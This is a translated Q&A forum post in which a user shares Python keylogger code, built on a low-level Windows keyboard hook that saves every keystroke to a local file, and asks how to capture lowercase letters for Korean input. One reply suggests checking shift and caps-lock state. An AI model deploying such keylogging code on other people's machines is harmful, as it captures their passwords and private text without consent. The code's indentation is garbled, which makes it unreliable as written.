Problems with Python Keyboard Hooking Capitalization Only

Asked 2 years ago, Updated 2 years ago, 22 views

Version 3.6.0 is in use. Keylogger source on the web. It's not for hacking. It's for Korean I'm going to make an automatic completion of the Naver search box.

However, the source below only comes in capital letters when hooking the keyboard. Finally, we want to change the input to Korean Even double consonants come in capital letters It's a situation that can't be distinguished from elementary, medium, and final.

ex) Until that day - rmskfRkwl

You have to come in like this to separate the letters RMSKFRKWL came in like this.

The sauce is as follows. Is there a way to get this separated by double consonants like in the example above? And the preference was broken, too I wonder if there is a way to get the right symbols.

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
saveKey=[]

class keyLogger:
    def __init__(self):
        self.lUser32 = user32
                self.hooked = None

       def installHookProc(self, pointer):
            self.hooked = self.lUser32.SetWindowsHookExA(
        WH_KEYBOARD_LL,
        pointer,
        kernel32.GetModuleHandleW(None),
        0
        )
    if not self.hooked:
        return False
    return True

def uninstallHookProc(self):
    if self.hooked is None:
        return
    self.lUser32.UnhookWindowsHookEx(self.hooked)
    self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
        hookedKey = chr(lParam[0])
        saveKey.append(hookedKey)
        sys.stdout.write(hookedKey)
        saveKeyLog()
        if(CTRL_CODE == int(lParam[0])):  
    print("Ctrl pressed, call uninstallHook()")
    keyLogger.uninstallHookProc()
    sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)

def saveKeyLog():
    f = open("C:/Users/akak/Desktop/KeyLogging.txt",'w', encoding='UTF-8')
        test="".join(str(s) for s in saveKey)
        f.write(test)
    f.close()

keyLogger = keyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
    print("installed keyLogger")

startKeyLog()

python hook

2022-09-22 16:09

1 Answers

WM_KEYDOWN does not know if shift or capslock is pressed on the keyboard. We need to use WM_CHAR to find out the case, but WM_CHAR cannot be used when hooking.

if obj.GetKeyState(VK_SHIFT) >=0 || obj.GetKeyState(VK_CAPITAL) >=0

You can only use to verify that the capslock or shift key is on.

See example.


2022-09-22 16:09

If you have any answers or tips


© 2024 OneMinuteCode. All rights reserved.